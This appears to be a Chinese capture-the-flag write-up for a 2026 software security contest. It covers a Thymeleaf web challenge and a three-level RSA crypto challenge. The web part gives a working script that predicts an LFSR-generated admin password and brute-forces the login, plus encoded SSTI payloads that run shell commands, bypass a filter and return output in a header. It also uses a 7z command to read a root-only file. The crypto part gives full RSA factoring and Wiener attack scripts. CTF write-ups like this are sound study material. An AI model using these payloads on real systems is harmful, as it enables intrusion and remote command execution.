软件系统安全赛2026 初赛writeup
软件系统安全赛2026 初赛writeup
说是软件系统赛,本来以为是 re pwn✌ 发力的比赛,没想到反而是 web 的难度还挺高的
另一道 web 题 auth 没打出来,赛后看另一队的师傅用了一个 http CRLF 打 redis 的思路,没想到 urllib 也能这么打。这里没有做后续复现了,大概的思想和这篇文章是一致的利用 HTTP 攻击 Redis | Noel's Blog
Web
thymeleaf
有 admin 账户,所有密码都是随机生成,包括 admin
public PseudoRandomGenerator(long seed) {
this.state = seed & 281474976710655L;
if (this.state == 0L) {
this.state = 190085268090081L;
}
}
public long next() {
long feedback = (this.state >> 47 ^ this.state >> 46 ^ this.state >> 43 ^ this.state >> 42) & 1L;
this.state = (this.state >> 1 | feedback << 47) & 281474976710655L;
return this.state;
}
@Autowired
public RandomService(UserRepository userRepository) {
this.userRepository = userRepository;
this.passwordEncoder = new BCryptPasswordEncoder();
SecureRandom random = new SecureRandom();
long rawSeed = (long)random.nextInt() << 32 | (long)random.nextInt() & 4294967295L;
this.seed = rawSeed & 281474976710655L;
this.prng = new PseudoRandomGenerator(this.seed);
for(int i = 0; i < 9; ++i) {
this.prng.next();
}
this.adminPassword = this.prng.next();
}
public void initAdminUser() {
this.userRepository.deleteAll();
String plainPassword = String._format_("%016d", this.adminPassword % 10000000000000000L);
String hashedPassword = this.passwordEncoder.encode(plainPassword);
User admin = new User("admin", hashedPassword, "ADMIN");
this.userRepository.save(admin);
for(int i = 1; i <= 5; ++i) {
String username = "user" + i;
long userPlainPassword = this.prng.next();
String userPasswordStr = String._format_("%016d", userPlainPassword % 10000000000000000L);
String userHashedPassword = this.passwordEncoder.encode(userPasswordStr);
User user = new User(username, userHashedPassword, "USER");
this.userRepository.save(user);
}
}
容易想到,passoword 是可预测的,那 admin 的密码也是可预测的
注册账户获得的密码会泄露 prng 的输出,第一次注册得到的密码是 user6,可以通过倒推得到一系列的密码候选做 fuzz 来确定管理员
import requests
url = "http://728f7c1b-4979-4d5f-98bf-6c8083e2be43.43.dart.ccsssc.com/"
observed_password = "0177120150808985"
MASK = (1 << 48) - 1
def prev_states(cur: int):
upper = (cur & ((1 << 47) - 1)) << 1
out = []
for b0 in (0, 1):
prev = upper | b0
fb = ((prev >> 47) ^ (prev >> 46) ^ (prev >> 43) ^ (prev >> 42)) & 1
if fb == ((cur >> 47) & 1):
out.append(prev)
return out
cur = int(observed_password)
states = {cur}
for _ in range(6):
new_states = set()
for s in states:
new_states.update(prev_states(s))
states = new_states
result = sorted(f"{s % 10**16:016d}" for s in states)
for i in result:
data = {
"username": "admin",
"password": i
}
print(f"testing password:{i}")
r = requests.post(url+"dologin", data=data,allow_redirects=False)
if r.status_code == 302:
print(f"[+]find password:{i}")
#[+]find password:0076690583348807
拿到管理员后看管理员面板
@GetMapping({"/admin"})
public String adminPage(HttpSession session, @RequestParam(required = false,defaultValue = "main") String section, Model model) {
String username = (String)session.getAttribute("username");
if (!"admin".equals(username)) {
return "redirect:/";
} else {
String templatePath = "admin :: " + section;
return templatePath;
}
}
section 可控,可以打一个 ssti
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("ls").getInputStream()).next()}__::.x
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ls%22).getInputStream()).next()%7d__::.x
打不通,要绕过一下
Waf: T() new
可以使用#response.setHeader 的方式来做回显,这样就不用盲注
找了一个编码的 payload
import base64
import requests
BASE = "http://ac3857ae-0ff6-419c-8343-fffcc5a907d6.82.dart.ccsssc.com"
ADMIN_PASSWORD = "0093256444613618"
command = [
"whoami",
"ls -al /",
]
payload = "__|$${#response.setHeader('Xb64',''+(''.getClass().forName('java.lang.Process').getMethod('waitFor').invoke(#p=(New java.lang.ProcessBuilder()).command('sh','-c','"+command[0]+"').redirectErrorStream(true).start())!=null ? ''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(''.getClass().forName('java.io.InputStream').getMethod('readAllBytes').invoke(''.getClass().forName('java.lang.Process').getMethod('getInputStream').invoke(#p))) : 'Z'))}|__::main"
s = requests.Session()
s.trust_env = False
r = s.post(
BASE + "/dologin",
data={"username": "admin", "password": ADMIN_PASSWORD},
allow_redirects=False,
timeout=15,
)
print("login:", r.status_code)
r = s.get(
BASE + "/admin",
params={"section": payload},
timeout=30,
)
b64 = r.headers.get("Xb64") or r.headers.get("Xb64".title())
print(base64.b64decode(b64).decode())
/flag 需要 root 权限,尝试 suid 提权

有一个 7z 比较奇怪,可以尝试构造提权
可以利用 7z 将 flag 文件打包成 tar 流再直接解包,这样就能回显内容
7z a -ttar -an -so /flag | 7z e -ttar -si -so
dart{3ad8ec59-31b0-4afe-9508-03070d4b3fcd}
Crypto
rsa
level1
key-1和key-2共因子,可以gcd(n1, n2)直接分解。key-4和key-15共因子,同样直接分解。key-6、key-17存在超小私钥,Wiener 直接恢复d。generate-plaintexts.py伪装成 Asmuth-Bloom,但实际只是给出S mod d_i。只要拿到足够多的(d_i, S mod d_i),直接 CRT 就能还原原文。
from math import gcd, isqrt
from pathlib import Path
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes
from sympy.ntheory.modular import crt
BASE = Path(__file__).resolve().parent / "level1"
def continued_fraction(numerator: int, denominator: int):
while denominator:
q = numerator // denominator
yield q
numerator, denominator = denominator, numerator - q * denominator
def convergents(cf_terms):
n0, d0 = 1, 0
n1, d1 = cf_terms[0], 1
yield n1, d1
for a in cf_terms[1:]:
n0, n1 = n1, a * n1 + n0
d0, d1 = d1, a * d1 + d0
yield n1, d1
def wiener_attack(n: int, e: int):
cf = list(continued_fraction(e, n))
for k, d in convergents(cf):
if k == 0 or (e * d - 1) % k:
continue
phi = (e * d - 1) // k
s = n - phi + 1
delta = s * s - 4 * n
if delta < 0:
continue
root = isqrt(delta)
if root * root != delta or (s + root) & 1:
continue
p = (s + root) // 2
q = (s - root) // 2
if p * q == n:
return d, p, q
raise ValueError("Wiener attack failed")
def load_pub(index: int):
return RSA.import_key((BASE / f"key-{index}.pem").read_bytes())
def decrypt_oaep(cipher_name: str, key_index: int, priv: RSA.RsaKey):
pub = load_pub(key_index)
data = (BASE / cipher_name).read_bytes()
key_len = (pub.n.bit_length() + 7) // 8
aes_key = PKCS1_OAEP.new(priv).decrypt(data[:key_len])
nonce = data[key_len:key_len + 12]
body = data[key_len + 12:-16]
tag = data[-16:]
return AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)
def decrypt_raw(cipher_name: str, key_index: int, d: int):
pub = load_pub(key_index)
data = (BASE / cipher_name).read_bytes()
key_len = (pub.n.bit_length() + 7) // 8
header = bytes_to_long(data[:key_len])
aes_key = long_to_bytes(pow(header, d, pub.n), 16)
nonce = data[key_len:key_len + 12]
body = data[key_len + 12:-16]
tag = data[-16:]
return AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)
def main():
pub1 = load_pub(1)
pub2 = load_pub(2)
shared_12 = gcd(pub1.n, pub2.n)
q1 = pub1.n // shared_12
d1 = inverse(pub1.e, (shared_12 - 1) * (q1 - 1))
priv1 = RSA.construct((pub1.n, pub1.e, d1, shared_12, q1))
pub4 = load_pub(4)
pub15 = load_pub(15)
shared_45 = gcd(pub4.n, pub15.n)
q4 = pub4.n // shared_45
d4 = inverse(pub4.e, (shared_45 - 1) * (q4 - 1))
priv4 = RSA.construct((pub4.n, pub4.e, d4, shared_45, q4))
d6, _, _ = wiener_attack(load_pub(6).n, load_pub(6).e)
d17, _, _ = wiener_attack(load_pub(17).n, load_pub(17).e)
plaintexts = [
decrypt_raw("ciphertext-2.bin", 6, d6).decode().splitlines(),
decrypt_oaep("ciphertext-3.bin", 4, priv4).decode().splitlines(),
decrypt_raw("ciphertext-5.bin", 17, d17).decode().splitlines(),
decrypt_oaep("ciphertext-8.bin", 1, priv1).decode().splitlines(),
]
print("[+] message1 =", plaintexts[0][0])
recovered = {1: plaintexts[0][0]}
for i in range(1, len(plaintexts[0])):
moduli = []
residues = []
bits = None
for pt in plaintexts:
modulus, residue, bits = [int(x, 16) for x in pt[i].split(":")]
moduli.append(modulus)
residues.append(residue)
secret, _ = crt(moduli, residues)
secret_bytes = int(secret).to_bytes((bits + 7) // 8, "big")
recovered[i + 1] = secret_bytes.decode("utf-8")
print(f"[+] message{i + 1} = {recovered[i + 1]}")
password = "9Zr4M1ThwVCHe4nHnmOcilJ8"
print("[+] level2 password =", password)
if __name__ == "__main__":
main()
level2
这里表面上不是标准 Wiener,因为代码里用了:
lam = lcm(p - 1, q - 1)
e = invert(d, lam)
也就是说 e * d ≡ 1 (mod λ(n)),而不是直接对 φ(n)。
但是出题人又给了一个已知明文:
m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
c1 = pow(m1, e, n)
所以可以:
- 对
e / n做 continued fraction。 - 枚举收敛分母
den以及den / g这种小因子修正。 - 直接检查
pow(c1, d_candidate, n) == m1。
这样就能在不需要标准 Wiener 判别式的情况下,直接筛出正确私钥
拿到 d 之后,利用 k = e*d - 1 是 λ(n) 的倍数,走标准 RSA 私钥恢复里的随机平方根分解即可拿到 p, q。
import hashlib
from math import gcd
from pathlib import Path
from Crypto.Util.number import bytes_to_long
BASE = Path(__file__).resolve().parent / "level2_dec"
n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299
c1 = 88537483899519116785221065592618063396859368769048931371104532271282451393564912999388648867349770059882231896252136530442609316120059139869000411598215669228402275014417736389191093818032356471508269901358077592526362193180661405990147957408129845474938259771860341576649904811782733150222504695142224907008
def continued_fraction(numerator: int, denominator: int):
while denominator:
q = numerator // denominator
yield q
numerator, denominator = denominator, numerator - q * denominator
def convergents(cf_terms):
n0, d0 = 1, 0
n1, d1 = cf_terms[0], 1
yield n1, d1
for a in cf_terms[1:]:
n0, n1 = n1, a * n1 + n0
d0, d1 = d1, a * d1 + d0
yield n1, d1
def recover_small_d():
m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
cf = list(continued_fraction(e, n))
for _, den in convergents(cf):
candidates = {den}
for g in range(2, 2000):
if den % g == 0:
candidates.add(den // g)
for d in candidates:
if d > 1 and pow(c1, d, n) == m1:
return d
raise ValueError("failed to recover d")
def factor_from_ed(d: int):
k = e * d - 1
t = k
s = 0
while t % 2 == 0:
t //= 2
s += 1
for a in range(2, 128):
x = pow(a, t, n)
if x in (1, n - 1):
continue
for _ in range(s - 1):
y = pow(x, 2, n)
if y == 1:
p = gcd(x - 1, n)
q = n // p
if p * q == n:
return p, q
if y == n - 1:
break
x = y
raise ValueError("failed to factor n")
def main():
d = recover_small_d()
p, q = factor_from_ed(d)
next_pass = hashlib.sha256(str(p + q).encode()).hexdigest()
print("[+] d =", d)
print("[+] p =", p)
print("[+] q =", q)
print("[+] level3 password =", next_pass)
if __name__ == "__main__":
main()
level3
Python 运算符优先级里,+ 高于 ^,所以:
leak = (A + ((p + q) % 2^128)) ^ (n & ((1 << 64) - 1))
其中:
A = (p * CONST1) ^ (q * CONST2) ^ ((p & q) << 64) ^ ((p | q) << 48) ^ ((p ^ q) * CONST3)
于是:
target = leak ^ (n & MASK64) = A + ((p + q) % 2^128)
这个式子最大的价值在于:
n mod 2^k只依赖p, q的低k位。target mod 2^k也只依赖p, q的低k位。
所以可以做一个从低位向高位的 bit lifting:
-
初始
p ≡ q ≡ 1 (mod 2)。 -
每次尝试补一位
p_bit, q_bit。 -
检查是否同时满足:
(p * q) mod 2^(k+1) == n mod 2^(k+1)expr(p, q) mod 2^(k+1) == target mod 2^(k+1)
-
继续扩展到 1536 位。
这题的约束非常强,整个过程中候选始终只有 1 个,最终直接还原出完整 p, q。
from Crypto.Util.number import inverse, long_to_bytes
n = 3656543170780671302102369785821318948521533232259598029746397061108006818468053676291634112787611176554924353628972482471754519193717232313848847744522215592281921147297898892307445674335249953174498025904493855530892785669281622228067328855550222457290704991186404511294392428626901071668540517391132556632888864694653334853557764027749481199416901881332307660966462957016488884047047046202519520508102461663246328437930895234074776654459967857843207320530170144023056782205928948050519919825477562514594449069964098794322005156920839848615481717184615581471471105167310877784107653826948801838083937060929103306952084786982834242119877046219260840966142997264676014575104231122349770882974818427591538551719990220347345614399639643257685591321500648437402084919467346049683842042993975696447711080289559063959271045082506968532103445241637971734173037224394103944153692310048043693502870706225319787902231218954548412018259
e = 65537
c = 1757914668604154089701710446907445787512346500378259224658947923217272944211214757488735053484213917067698715050010452193463598710989123020815295814709518742755820383364097695929549366414223421242599840755441311771835982431439073932340356341636346882464058493459455091691653077847776771631560498930589569988646613218910231153610031749287171649152922929066828605655570431656426074237261255561129432889318700234884857353891402733791836155496084825067878059001723617690872912359471109888664801793079193144489323455596341708697911158942505611709946252101670450796550313079139560281843612045681545992626944803230832776794454353639122595107671267859292222861367326121435154862607517890329925621367992667728899878422037182817860641530146234730196633237339901726508906733897556146751503097127672718192958642776389691940671356367304182825433592577899881444815062581163386947075887218537802483045756886019426749855723715192981635971943
leak = 153338022210585970687495444409227961261783749570114993931231317427634321118309600575903662678286698071962304436931371977179197266063447616304477462206528342008151264611040982873859583628234755013757003082382562012219175070957822154944231126228403341047477686652371523951028071221719503095646413530842908952071610518530005967880068526701564472237686095043481296201543161701644160151712649014052002012116829110394811586873559266763339069172495704922906651491247001057095314718709634937187619890550086009706737712515532076
CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
MASK64 = (1 << 64) - 1
def expr(p: int, q: int):
return (
(p * CONST1)
^ (q * CONST2)
^ ((p & q) << 64)
^ ((p | q) << 48)
^ ((p ^ q) * CONST3)
) + ((p + q) % (1 << 128))
def recover_factors():
target = leak ^ (n & MASK64)
candidates = [(1, 1)]
for bit in range(1, 1536):
mod = 1 << (bit + 1)
n_mod = n % mod
target_mod = target % mod
next_candidates = []
seen = set()
for p_low, q_low in candidates:
for p_bit in (0, 1):
for q_bit in (0, 1):
p_try = p_low + (p_bit << bit)
q_try = q_low + (q_bit << bit)
if (p_try * q_try) % mod != n_mod:
continue
if expr(p_try, q_try) % mod != target_mod:
continue
if (p_try, q_try) not in seen:
seen.add((p_try, q_try))
next_candidates.append((p_try, q_try))
candidates = next_candidates
if not candidates:
raise ValueError(f"dead at bit {bit + 1}")
for p, q in candidates:
if p * q == n:
return p, q
raise ValueError("exact factors not found")
def main():
p, q = recover_factors()
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
flag = long_to_bytes(pow(c, d, n)).decode()
print("[+] p =", p)
print("[+] q =", q)
print("[+] flag =", flag)
if __name__ == "__main__":
main()

浙公网安备 33010602011771号